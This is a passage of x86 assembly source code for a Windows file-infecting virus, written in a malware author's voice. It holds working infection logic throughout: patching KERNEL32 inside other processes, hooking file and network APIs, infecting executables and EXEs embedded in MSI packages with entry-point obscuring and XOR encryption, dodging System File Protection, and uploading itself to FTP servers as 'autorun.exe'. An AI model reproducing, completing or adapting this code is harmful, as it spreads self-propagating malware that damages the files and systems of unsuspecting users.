push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_QUERY_INFORMATION
;try to get handle of process
call [ebp + a_OpenProcess - gdelta] ;thru our ID
test eax,eax ;have we correct handle?
jne gotPID ;yeah, ID is valid, infect process!
pid_loop:
popad ;restore all registers
loop nextPID ;nope, try it with another ID
end_search:
call @patch
ep_patch dd 0 ;synchronize variable for
@patch: pop eax ;ExitProcess API
mov [eax],eax ;now, host program may be terminated
jmp end_seh ;quit
gotPID: xchg eax,ebx ;handle to EBX
mov esi,12345678h ;get K32 base
k32_base = dword ptr $-4
;Now we have to get the size of K32 in another process. We use the trick
;-> we will search thru the address space for the end of K32 in memory
;and then we will substract the value with the base address, so we will
;get the size
start_parse:
push mbi_size
lea eax,[ebp + mbi - gdelta] ;MBI structure
push eax
push esi
push ebx ;get informations about
call [ebp + a_VirtualQueryEx - gdelta]
test eax,eax ;adress space
je end_K32_patching ;quit if error
;is memory commited?
test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT
je end_parse ;quit if not, end of K32 found
mov eax,[ebp + reg_size - gdelta] ;get size of region
add [ebp + k32_size - gdelta],eax ;add the size to variable
add esi,eax ;make new address
jmp start_parse ;and parse again
end_parse:
sub esi,[ebp + k32_base - gdelta] ;correct to size and save it
mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start)
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push esi
push 0
call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space
test eax,eax ;for K32 in our process
je end_K32_patching
xchg eax,edi
mov [ebp + k32_copy - gdelta],edi ;save the address
lea edx,[ebp + tmp - gdelta]
push edx
push 12345678h
k32_size = dword ptr $-4
push edi
push dword ptr [ebp + k32_base - gdelta]
push ebx ;copy the K32 to our buffer
call [ebp + a_ReadProcessMemory - gdelta]
dec eax
jne end_K32_dealloc
movzx eax,word ptr [edi] ;get the first bytes of file
add eax,-"ZM"
jne end_K32_dealloc ;must be MZ header
mov esi,[edi.MZ_lfanew] ;get to PE header
add esi,edi
mov eax,[esi]
add eax,-"EP"
jne end_K32_dealloc ;must be PE header
cmp byte ptr [edi.MZ_res2],'H'+'I'+'V' ;is K32 already infected?
je end_K32_dealloc ;yeah, dont infect it again
mov byte ptr [edi.MZ_res2],'H'+'I'+'V' ;mark as already infected
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push virus_size
push 0 ;allocate enough space
push ebx ;for virus code in
call [ebp + a_VirtualAllocEx - gdelta] ;victim process
test eax,eax
je end_K32_dealloc ;quit if error
mov [ebp + virus_base - gdelta],eax ;save the address
;now we will try to hook some APIz of K32
push crcResCount
pop ecx ;count of APIz to hook
make_res:
pushad ;store all registers
mov eax,edi
lea esi,[ebp + crcRes - gdelta + (ecx*4)-4] ;get API
call get_api ;get address of API
test eax,eax
je end_res ;quit if error
push eax
mov edx,[ebp + posRes - gdelta + (ecx*4)-4] ;get ptr to variable which
sub eax,[ebp + k32_copy - gdelta] ;holds the address to old
add eax,[ebp + k32_base - gdelta] ;API
mov [edx],eax ;store address there
pop eax ;get address to EAX
pushad ;store all registers
xchg eax,esi ;EAX to ESI
mov edi,[ebp + oldRes - gdelta + (ecx*4)-4] ;save old 5 bytes
movsd ;4 bytes
movsb ;1 byte
popad ;restore all registers
;overwrite first 5 bytes of API code by <JMP api_hooker> instruction
;address = dest_address - (jmp_address+5)
push eax
sub eax,[ebp + k32_copy - gdelta] ;calculate api_hooker address
add eax,[ebp + k32_base - gdelta] ;...
mov esi,eax ;...
mov eax,0 ;base address of virus
virus_base = dword ptr $-4 ;in memory
add eax,[ebp + newRes - gdelta + (ecx*4)-4] ;add address of api_hooker
sub eax,5 ;substract the size of JMP
sub eax,esi ;substract with dest_address
pop esi
mov byte ptr [esi],0E9h ;write JMP opcode
mov [esi+1],eax ;write JMP address
end_res:popad ;restore all registers
loop make_res ;ECX-timez
lea edx,[ebp + tmp - gdelta]
push edx
push virus_size
lea edx,[ebp + Start - gdelta]
push edx
push dword ptr [ebp + virus_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;write virus to allocated memory
dec eax
jne end_K32_dealloc ;quit if error
;now we will change protection of K32 memory so we will be able to
;overwrite it with infected version of K32
lea edx,[ebp + tmp - gdelta]
push edx
push PAGE_EXECUTE_READWRITE
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_VirtualProtectEx - gdelta] ;now we will be able to
dec eax ;rewrite the K32 with
jne end_K32_dealloc ;infected one
lea edx,[ebp + tmp - gdelta]
push edx
push dword ptr [ebp + k32_size - gdelta]
push dword ptr [ebp + k32_copy - gdelta]
push dword ptr [ebp + k32_base - gdelta]
push ebx
call [ebp + a_WriteProcessMemory - gdelta] ;rewrite K32
end_K32_dealloc:
push MEM_DECOMMIT
push dword ptr [ebp + k32_size - gdelta]
push 12345678h
k32_copy = dword ptr $-4
call [ebp + a_VirtualFree - gdelta] ;now we have to decommit
;our memory
push MEM_RELEASE
push 0
push dword ptr [ebp + k32_copy - gdelta]
call [ebp + a_VirtualFree - gdelta] ;and de-reserve, now our
;buffer doesnt exist
end_K32_patching:
push ebx
call [ebp + a_CloseHandle - gdelta] ;close the handle of process
jmp pid_loop ;and look for another one
searchThread EndP
;new FindFirstFileA hooker
newFindFirstFileA Proc
pushad ;store all registers
push eax
call @oldFFA ;get pointer to saved bytes...
oldFindFirstFileA:
db 5 dup (?) ;saved 5 bytes
@oldFFA:call @newFFA
db 5 dup (?) ;get pointer to buffer...
@newFFA:pop edi
mov [esp+4],edi
mov esi,0 ;address of FindFirstFileA in memory
posFindFirstFileA = dword ptr $-4
common_end:
push esi ;copy <JMP newFindFirstFileA> to
movsd ;buffer
movsb
pop edi
pop esi
push edi
movsd ;restore previous 5 bytes of API code
movsb
sub edi,5
mov esi,[esp.cPushad+16]
push esi
push dword ptr [esp.cPushad+16]
call edi ;call API
inc eax
je end_ffa
dec eax
call CheckInfect ;no error, try to infect found file
end_ffa:mov [esp.Pushad_eax+8],eax
pop edi
pop esi
movsd ;write back <JMP newFindFirstFileA>
movsb
popad ;restore all registers
ret 8 ;and quit with 2 params on the stack
newFindFirstFileA EndP
;new FindNextFileA hooker
newFindNextFileA Proc
pushad ;store all registers
push eax
call @oldFNA ;get pointer to saved bytes...
oldFindNextFileA:
db 5 dup (?)
@oldFNA:call @newFNA ;get pointer to buffer...
db 5 dup (?)
@newFNA:pop edi
mov [esp+4],edi
mov esi,0 ;address of FindNextFileA in memory
posFindNextFileA = dword ptr $-4
jmp common_end ;optimized :)
newFindNextFileA EndP
;this procedure is used by API hookerz - it can create WFD structure and call
;CheckInfect procedure (this proc needs WFD struct)
xCheckInfect Proc
call $+5
xdelta: pop ebp ;get delta offset
lea esi,[ebp + WFD - xdelta]
push esi ;WFD struct
push dword ptr [esp.cPushad+16] ;ptr to filename
call [ebp + a_FindFirstFileA - xdelta] ;find file
inc eax
je end_xci ;quit if error
dec eax
call CheckInfect ;infect file
push eax
call [ebp + a_FindClose - xdelta] ;close search handle
end_xci:ret ;and quit
xCheckInfect EndP
;new CopyFileA hooker
newCopyFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldCFA ;get pointer to saved bytes...
oldCopyFileA:
db 5 dup (0) ;saved 5 bytes
@oldCFA:pop esi ;...to ESI
mov edi,0 ;address of CopyFileA in memory
posCopyFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCopyFileA EndP
;new MoveFileA hooker
newMoveFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
call xCheckInfect ;check and infect file
call @oldMFA ;get pointer to saved bytes...
oldMoveFileA:
db 5 dup (0) ;saved 5 bytes
@oldMFA:pop esi ;...to ESI
mov edi,0 ;address of MoveFileA in memory
posMoveFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newMoveFileA EndP
;new CreateFileA handler
newCreateFileA Proc
push eax ;reserve space in stack for ret address
pushad ;store all registers
mov ecx,12345678h ;semaphore
cfa_patch = dword ptr $-4
jecxz no_cfa ;dont infect file in infection stage
call xCheckInfect ;check and infect file
no_cfa: call @oldCA ;get pointer to saved bytes...
oldCreateFileA:
db 5 dup (0) ;saved 5 bytes
@oldCA: pop esi ;...to ESI
mov edi,0 ;address of CreateFileA in memory
posCreateFileA = dword ptr $-4
mov [esp.cPushad],edi ;store the address to stack
movsd ;restore 5 bytes
movsb
popad ;restore all registers
ret ;jump to previous API
newCreateFileA EndP
;new ExitProcess handler
newExitProcess Proc
pushad ;store all registers
call edelta ;get delta offset
edelta: pop ebp
ep_loop:mov ecx,[ebp + ep_patch - edelta] ;wait for SearchThread
jecxz ep_loop ;termination...
popad ;restore all registers
j_api oldExitProcess ;and call the original API
newExitProcess EndP
;new InternetConnectA hooker
newInternetConnectA Proc
fld dword ptr [esp] ;store return address on copro-stack
call ICAjmp ;call previous API
push eax ;make space on the stack
fstp dword ptr [esp] ;move return address from copro-stack to stack
test eax,eax ;error?
jne nICA ;no, we are connected
ret ;yeah, quit
nICA: pushad ;store all registers
call $+5
igd: pop ebp ;get delta offset to EBP
xchg eax,ebx
push MAX_PATH
lea esi,[ebp + reg_buffer - igd]
push esi
push 0 ;get path+filename of current process
call [ebp + a_GetModuleFileNameA - igd]
lea esi,[ebp + szInet+5 - igd]
push esi ;get base of WININET.DLL
call [ebp + a_GetModuleHandleA - igd]
@pushsz 'FtpPutFileA'
push eax ;get address of FtpPutFileA API
call [ebp + a_GetProcAddress - igd]
xchg eax,ecx
jecxz endICA ;quit if error
;now we will try to transfer infected file to FTP server
push 0 ;context
push 2 ;binary transfer
@pushsz 'autorun.exe' ;dest filename
push esi ;source filename (our process)
push ebx ;handle to inet connection
call ecx ;call FtpPutFileA
endICA: popad ;restore all registers
ret ;and quit
ICAjmp: pop eax ;get code address
mov [esp],eax ;save it on the stack
j_api oldInternetConnectA ;and call the previous API
newInternetConnectA EndP
unload_lib:
push edi
call [ebp + a_FreeLibrary - gd]
;this procedure can check the file and infect it
;input: ESI - WFD record
CheckInfect Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_seh>;setup SEH frame
call gd
gd: pop ebp ;get delta offset to EBP
mov [ebp + cut_or_not - gd],ebp
;set flag - truncate file back
test [esi.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;must not be directory
xor edx,edx
cmp [esi.WFD_nFileSizeHigh],edx
jne end_seh ;discard huge files
mov edx,[esi.WFD_nFileSizeLow]
cmp edx,4000h ;discard small files
jb end_seh
mov [ebp + file_size - gd],edx
;save file size
lea ebx,[esi.WFD_szFileName]
pushad ;store all registers
xor esi,esi ;nulify register
@pushsz 'SFC'
call [ebp + a_LoadLibraryA - gd] ;load SFC.dll library
test eax,eax
je q_sfc ;quit if error
xchg eax,edi
@pushsz 'SfcIsFileProtected'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get the pointer to API
je un_sfc
push ebx ;filename
push 0 ;reserved
call eax ;call SfcIsFileProtected API
test eax,eax
je un_sfc
inc esi ;set variable to 1 if the file is protected
un_sfc: call unload_lib ;unload SFC.dll
q_sfc: mov [esp.Pushad_eax],esi ;save it to EAX on the stack
popad ;restore all registerz
test eax,eax
jne end_seh ;quit if file is protected (EAX=0)
; cmp [ebx],'dcba' ;for debug version
; jne end_seh ;infect only "abcd" filez
push FILE_ATTRIBUTE_NORMAL
push ebx
call [ebp + a_SetFileAttributesA - gd]
dec eax ;blank file attributes
jne end_seh
call resCreate_FileA ;open file
inc eax
je end_attr ;quit if error
dec eax
mov [ebp + hFile - gd],eax ;save handle
mov ebx,[esi.WFD_nFileSizeLow]
add ebx,virus_size ;new file size to EBX
mov [ebp + mapped_file_size - gd],ebx
cdq
push edx
push ebx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gd]
xchg eax,ecx ;create file mapping object
jecxz end_cfile ;quit if error
mov [ebp + hMapFile - gd],ecx
;save handle
push ebx
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gd]
xchg eax,ecx ;map view of file to our address space
jecxz end_mfile ;quit if error
mov [ebp + lpFile - gd],ecx ;save handle
jmp n_open ;and continue
end_file:
popad
push 12345678h
lpFile = dword ptr $-4 ;unmap view of file
call [ebp + a_UnmapViewOfFile - gd]
end_mfile:
push 12345678h
hMapFile = dword ptr $-4 ;close file mapping object
call [ebp + a_CloseHandle - gd]
end_cfile:
mov ecx,12345678h ;infection succeed?
cut_or_not = dword ptr $-4
jecxz no_cut ;yeah, dont truncate file
push 0 ;no, truncate file back
push 0
push dword ptr [esi.WFD_nFileSizeLow]
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFilePointer - gd]
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetEndOfFile - gd]
no_cut: lea eax,[esi.WFD_ftLastWriteTime]
push eax
lea eax,[esi.WFD_ftLastAccessTime]
push eax
lea eax,[esi.WFD_ftCreationTime]
push eax ;set back file time
push dword ptr [ebp + hFile - gd]
call [ebp + a_SetFileTime - gd]
mov ecx,[ebp + cut_or_not - gd]
jecxz ntfs_stuff ;try to compress file and create new stream
close_file:
push 12345678h
hFile = dword ptr $-4 ;close file
call [ebp + a_CloseHandle - gd]
end_attr:
lea eax,[esi.WFD_szFileName]
push [esi.WFD_dwFileAttributes]
push eax ;set back file attributes
call [ebp + a_SetFileAttributesA - gd]
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
;this procedure will try to NTFS-compress infected file and add new stream
ntfs_stuff Proc
push 0
lea eax,[ebp + tmp - gd]
push eax
push 0
push 0
push 4
call in_buf
dd 1 ;default compression
in_buf: push 09C040h ;compress code
push dword ptr [ebp + hFile - gd]
call [ebp + a_DeviceIoControl - gd] ;compress infected file!
lea esi,[esi.WFD_szFileName] ;get ptr to filename
push esi
@endsz
dec esi
mov edi,esi
mov eax,'VIH:'
stosd ;add there ":HIV"\0
xor al,al
stosb
pop ebx
mov byte ptr [ebp + cfa_flagz - gd],CREATE_ALWAYS
call resCreate_FileA ;create new stream
mov byte ptr [ebp + cfa_flagz - gd],OPEN_EXISTING
inc eax
je end_seh ;quit if error
dec eax
xchg eax,ebx
push 0
lea eax,[ebp + tmp - gd]
push eax
push szMsg-1-p_msg
lea eax,[ebp + p_msg - gd]
push eax
push ebx
call [ebp + a_WriteFile - gd] ;copy message to new stream
push ebx
call [ebp + a_CloseHandle - gd] ;close stream
jmp close_file ;and close whole file
ntfs_stuff EndP
;this procedure can search for EXE files inside MSIs
mz_search Proc
pushad ;store all registers
@SEH_SetupFrame <jmp e_mz> ;setup SEH frame
r_byte: movzx eax,word ptr [ecx] ;get byte
add eax,-"ZM" ;is it MZ file?
jne n_byte ;no, explore next bytes
mov ebx,[ecx.MZ_lfanew] ;get to PE header
add ebx,ecx ;...
mov eax,[ebx] ;get DWORD
add eax,-"EP" ;is it PE file?
jne n_byte ;no, explore next bytes
end_mz: mov [esp.Pushad_ebx+8],ebx ;store PE location
mov [esp.Pushad_ecx+8],ecx ;store MZ location
jmp end_seh ;and quit
e_mz: xor ecx,ecx ;no file found...
jmp end_mz ;quit
n_byte: inc ecx ;move to next byte
jmp r_byte ;explore it
mz_search EndP
check_msi:
cmp [ecx],0E011CFD0h ;is it MSI signature?
jne end_file ;no, quit
cmp [ecx+4],0E11AB1A1h ;is it MSI signature?
jne end_file ;no, quit
parse_msi:
call mz_search ;search for EXE file inside MSI
test ecx,ecx
je end_file ;no files found, quit...
and dword ptr [ebp + pe_or_msi - gd],0
push ecx ;set flag (EXE inside MSI) and store ECX
call m_open ;analyse and infect file
pop ecx ;restore ECX
c_msi: inc ecx ;try next EXE file
jmp parse_msi ;inside MSI...
n_open: pushad ;store all registers
mov [ebp + pe_or_msi - gd],ecx ;set flag (normal EXE)
m_open: movzx eax,word ptr [ecx] ;get word
add eax,-"ZM" ;is it MZ?
jne check_msi ;no, quit
cmp byte ptr [ecx.MZ_res2],'H'+'I'+'V' ;is it already infected?
je end_file ;yeah, quit
mov ebx,ecx
add ebx,[ecx.MZ_lfanew]
;at this point:
; EBX - start of PE header
; ECX - start of MM file (MZ header)
; ESI - WIN32_FIND_DATA record
mov eax,[ebx] ;get DWORD
add eax,-"EP" ;is it PE file?
jne end_file ;no, quit
cmp word ptr [ebx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne end_file ;must be 386+
mov eax,dword ptr [ebx.NT_FileHeader.FH_Characteristics]
not al
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_file ;must not be DLL file
movzx edx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
cmp edx,4
jb end_file ;must be 4+
dec edx
imul eax,edx,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,ebx
;at this point:
; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section
mov byte ptr [ecx.MZ_res2],'H'+'I'+'V';mark as already infected
mov eax,12345678h
pe_or_msi = dword ptr $-4
test eax,eax ;do we infect MSI?
je infect_msi ;yeah, infect MSI
;no, infect normal EXE
mov [ebp + file_base - gd],ecx ;save base of mapped file
;EPO search engine
pushad ;store all registers
pushad ;...
lea edx,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
mov esi,[edx.SH_PointerToRawData] ;get to start of .CODE section
add esi,ecx ;make RAW pointer
mov ecx,[edx.SH_SizeOfRawData] ;get the size of .CODE section
l_epo: add [ebp + enc_key - gd],eax;generate encryption key
lodsd ;get byte
cmp eax,0C95B5E5Fh ;is it procedure epilog code?
je ll_epo ;yeah, check the last byte
dec esi ;no, decrement pointerz
dec esi ;...
dec esi ;...
loop l_epo ;search for next instructionz
jmp end_epo ;no epilog found, quit
ll_epo: lodsb ;get the last byte
cmp al,0C3h ;is it RET instruction?
je got_epo ;yeah, we have found place for EPO
sub esi,4 ;no, decrement pointerz
dec ecx ;and counter
jmp l_epo ;and try again
got_epo:mov eax,[edi.SH_VirtualAddress]
add eax,[edi.SH_SizeOfRawData] ;calculate RVA of virus begining
mov ecx,esi
sub ecx,[esp.Pushad_ecx]
sub ecx,[edx.SH_PointerToRawData]
add ecx,[edx.SH_VirtualAddress] ;calculate RVA of JMP opcode
or dword ptr [edx.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set WRITE flag to .CODE section
mov edi,esi
mov esi,ecx
sub esi,5
sub edi,5
add esi,[ebx.NT_OptionalHeader.OH_ImageBase]
sub eax,ecx ;calculate destination address
push eax
mov [ebp + epo_pos - gd],esi ;store EPO address
mov al,0E9h ;store JMP opcode
stosb
pop eax
stosd ;store JMP address
end_epo:popad ;restore all registers
lea eax,[ebp + image_base - gd] ;get pointer to variable
push dword ptr [eax] ;save variable to the stack
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
mov [eax],ecx ;save new image base of host
lea esi,[ebp + Start - gd] ;get start of virus to ESI
mov ecx,end_virus-Start ;size of virus code
mov eax,[edi.SH_PointerToRawData] ;get ptr to last section
add eax,[edi.SH_SizeOfRawData] ;add size of section
add eax,[esp.Pushad_ecx+4] ;add address of mapped file
xchg eax,edi ;save it to EDI
push edi ;store it to the stack
mov ebx,12345678h
enc_key = dword ptr $-4
mov [ebp + decr_key - gd],ebx ;save encryption key
and dword ptr [ebp + enc_key - gd],0;nulify encryption key variable
inc dword ptr [ebp + generation_count - gd]
;increment number of generation
call mem_alloc ;allocate one buffer
mov [ebp + buffer - gd],eax ;save pointer
call mem_alloc ;allocate another buffer
mov [ebp + file_buffer - gd],eax ;save pointer
mov esi,12345678h ;get size of file
file_size = dword ptr $-4
mov ecx,8192
sub esi,ecx
add esi,12345678h ;move to the EOF-8192
file_base = dword ptr $-4
mov edi,12345678h ;EDI = allocated buffer
file_buffer = dword ptr $-4
rep movsb ;move there last 8192 bytes
lea esi,[ebp + encrypted - gd] ;start of encrypted part of virus
mov edi,12345678h
buffer = dword ptr $-4
push edi
mov ecx,(end_virus-encrypted+3)/4
push ecx ;copy encrypted part of virus
rep movsd ;to the buffer
pop ecx
pop esi
mov edi,esi
encrpt: lodsd
xor eax,ebx ;encrypt virus in the buffer
stosd
loop encrpt
pop edi
lea esi,[ebp + Start - gd]
push encrypted-Start
pop ecx ;copy decryptor to the end of
rep movsb ;last section
mov esi,[ebp + buffer - gd]
mov ecx,8192-(encrypted-Start)
rep movsb ;copy the encrypted part of virus
mov ecx,8192
mov esi,[ebp + file_buffer - gd]
rep movsb ;and last 8192 of host code
dec dword ptr [ebp + generation_count - gd] ;decrement number of gen.
pop dword ptr [ebp + image_base - gd] ;restore image base
popad ;restore all registers
mov esi,[ebp + buffer - gd]
call mem_dealloc ;deallocate buffer
mov esi,[ebp + file_buffer - gd]
call mem_dealloc ;...
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;set flagz of the last section
add dword ptr [edi.SH_VirtualSize],virus_size
mov eax,[edi.SH_VirtualSize]
mov ecx,[ebx.NT_OptionalHeader.OH_SectionAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m1
inc eax
mul ecx
mov [edi.SH_VirtualSize],eax ;new virtual size
end_m1: push dword ptr [edi.SH_SizeOfRawData]
add dword ptr [edi.SH_SizeOfRawData],virus_size
mov eax,[edi.SH_SizeOfRawData]
mov ecx,[ebx.NT_OptionalHeader.OH_FileAlignment]
xor edx,edx
div ecx
test edx,edx
je end_m2
inc eax
end_m2: mul ecx
pop edx
sub eax,edx
add [ebx.NT_OptionalHeader.OH_SizeOfImage],eax
test dword ptr [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA
je rs_ok ;new size of raw data
add [ebx.NT_OptionalHeader.OH_SizeOfInitializedData],eax
;and size of initialized data
rs_ok: cmp dword ptr [ebx.NT_OptionalHeader.OH_CheckSum],0
je no_csum ;no need to calculate new checksum
@pushsz 'Imagehlp'
@imghlp:call [ebp + a_LoadLibraryA - gd]
test eax,eax ;load IMAGEHLP.DLL
je no_csum ;quit if error
xchg eax,edi
@pushsz 'CheckSumMappedFile'
push edi
call [ebp + a_GetProcAddress - gd]
test eax,eax ;get address of CheckSumMappedFile API
je un_csum ;quit if error
lea ecx,[ebx.NT_OptionalHeader.OH_CheckSum]
push ecx ;where to store new checksum
call $+9
dd ? ;old checksum
push 12345678h ;size of infected file
mapped_file_size = dword ptr $-4
push dword ptr [ebp + lpFile - gd]
call eax ;calculate new checksum
un_csum:call unload_lib ;unload library
no_csum:and dword ptr [ebp + cut_or_not - gd],0
jmp end_file ;infection succeed, quit...
;this procedure can infect EXE file inside MSI
infect_msi:
;at this point:
; EBX - start of PE header
; ECX - start of MZ header
; EDX - start of host (.)code
; ESI - WFD record
; EDI - start of last section
mov [ebp + r2rp - gd],ebx ;set !0 - victim program
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
mov eax,ecx
call rva2raw ;get base of code
pop esi
mov edi,esi
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
;size of code
include cse.inc ;find cave inside EXE file
push edi
mov edi,[edx+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
cmp edi,'xet.' ;is the first section ".text"?
je cc_msi
cmp edi,'EDOC' ;or ".CODE"?
je cc_msi
pop edi ;no, quit
ret
cc_msi: pop edi
mov ecx,[ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov eax,ecx
sub eax,[ebx+edx+SH_VirtualAddress+IMAGE_SIZEOF_FILE_HEADER+4]
;get entrypoint RVA to EAX
push eax
mov eax,ecx
mov [ebp + msi_entrypoint - gd],eax ;save old entrypoint
mov eax,[ebx.NT_OptionalHeader.OH_ImageBase]
add [ebp + msi_entrypoint - gd],eax ;in RAW format
pop eax
push esi
sub esi,edi
sub esi,eax ;set new entrypoint
add [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint],esi
pop edi
lea esi,[ebp + msi_start - gd]
mov ecx,msi_end-msi_start
rep movsb ;copy there MSI bug-code
ret ;end quit
no_cave_found:
popad ;no cave inside EXE file found,
ret ;restore all registers and quit
CheckInfect EndP
;this procedure can allocate memory (8192 bytes)
mem_alloc:
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 8192
push 0
call [ebp + a_VirtualAlloc - gd]
ret
;this procedure can deallocate already memory (8192 bytes)
mem_dealloc:
push MEM_DECOMMIT
push 8192
push esi
call [ebp + a_VirtualFree - gd]
push MEM_RELEASE
push 0
push esi
call [ebp + a_VirtualFree - gd]
ret
;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
jmp end_seh ;and quit
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
a_go: inc esi ;jump over alignments
inc esi
pushad ;store all registers
xor edx,edx ;zero EDX
xchg eax,esi
push 2
pop ecx
div ecx
test edx,edx
je end_align ;no alignments needed
inc eax
end_align:
mul ecx ;align API name
mov [esp.Pushad_esi],eax
popad ;restore all registers
ret ;and quit from procedure
;this procedure can patch API calls (both of MS and Borland style)
patch_IT Proc
pushad ;store all registers
@SEH_SetupFrame <jmp endPIT> ;setup SEH frame
call itDlta
itDelta:db 0b8h
itDlta: pop ebp
mov [ebp + gmh - itDelta],eax ;save it
mov ebx,[eax.MZ_lfanew] ;get to PE header
add ebx,eax ;make pointer raw
push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
call rva2raw
pop edx
sub edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push edi
n_dll: pop edi
add edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx,12345678h
inet_k32 = dword ptr $-4
jecxz szInet
@getsz 'KERNEL32.dll',edi
jmp o_inet
szInet: @getsz 'WININET.dll',edi
o_inet: mov esi,[edx]
test esi,esi
je endPIT
sdll: push dword ptr [edx.ID_Name]
call rva2raw
pop esi
push edi
cmpsd ;is it our library?
jne n_dll
cmpsd
jne n_dll
cmpsd
jne n_dll
pop edi
xor ecx,ecx ;zero counter
push dword ptr [edx.ID_OriginalFirstThunk] ;get first record
call rva2raw
pop esi
push dword ptr [esi] ;get first API name
call rva2raw
pop esi
pit_align:
call a_go
push esi ;store pointer
@endsz ;get to the end of API name
mov edi,esi
sub edi,[esp] ;move size of API name to EDI
pop esi ;restore pointer
push eax ;store EAX
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp.cPushad+10h] ;check, if it is requested API
je a_ok ;yeah, it is
inc ecx
mov eax,[esi] ;check, if there is next API
test eax,eax ;...
pop eax ;restore EAX
jne pit_align ;yeah, check it
jmp endPIT ;no, quit
a_ok: pop eax ;restore EAX
push dword ptr [edx.ID_FirstThunk] ;get address to IAT
call rva2raw
pop edx
mov eax,[edx+ecx*4] ;get address
mov [esp.Pushad_eax+8],eax ;and save it to stack
pushad ;store all registers
mov eax,0 ;get base address of program
gmh = dword ptr $-4
mov ebx,[eax.MZ_lfanew]
add ebx,eax ;get PE header
;get base of code
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
call rva2raw ;normalize
pop esi ;to ESI
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
pushad ;and its size
call p_var
dd ?
p_var: push PAGE_EXECUTE_READWRITE
push ecx
push esi ;allow to modify protected code
call [ebp + a_VirtualProtect - itDelta]
popad
sJMP: mov dl,[esi] ;get byte from code
inc esi
cmp dl,0FFh ;is it JMP/CALL?
jne lJMP ;check, if it is
cmp byte ptr [esi],25h ;JMP DWORD PTR [XXXXXXXXh]
je gIT1
cmp byte ptr [esi],15h ;or CALL DWORD PTR [XXXXXXXXh]
jne lJMP
mov dl,0E8h
jmp gIT2
gIT1: mov dl,0E9h
gIT2: mov [ebp + j_or_c - itDelta],dl ;change opcode
mov edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
add edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
push ecx
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
add edi,ecx
push ebp
mov ebp,[esi+1]
sub ebp,ecx
push ebp
call rva2raw
pop ebp
sub ebp,eax
add ebp,ecx
sub edi,ebp
pop ebp
pop ecx
js lJMP ;check, if it is correct address
push ecx
push edx ;store EDX
mov edx,[esp.Pushad_ecx+8] ;get counter
imul edx,4 ;multiply it by 4
add edx,[esp.Pushad_edx+8] ;add address to IAT to ptr
sub edx,eax
mov ecx,[esi+1]
sub ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
push ecx
call rva2raw
pop ecx
sub ecx,eax
cmp edx,ecx ;is it current address
pop edx
pop ecx ;restore EDX
jne sJMP ;no, get next address
mov eax,[esi+1]
mov [esp.cPushad.Pushad_eax+8],eax ;store register to stack
mov [esp.Pushad_esi],esi ;for l8r use
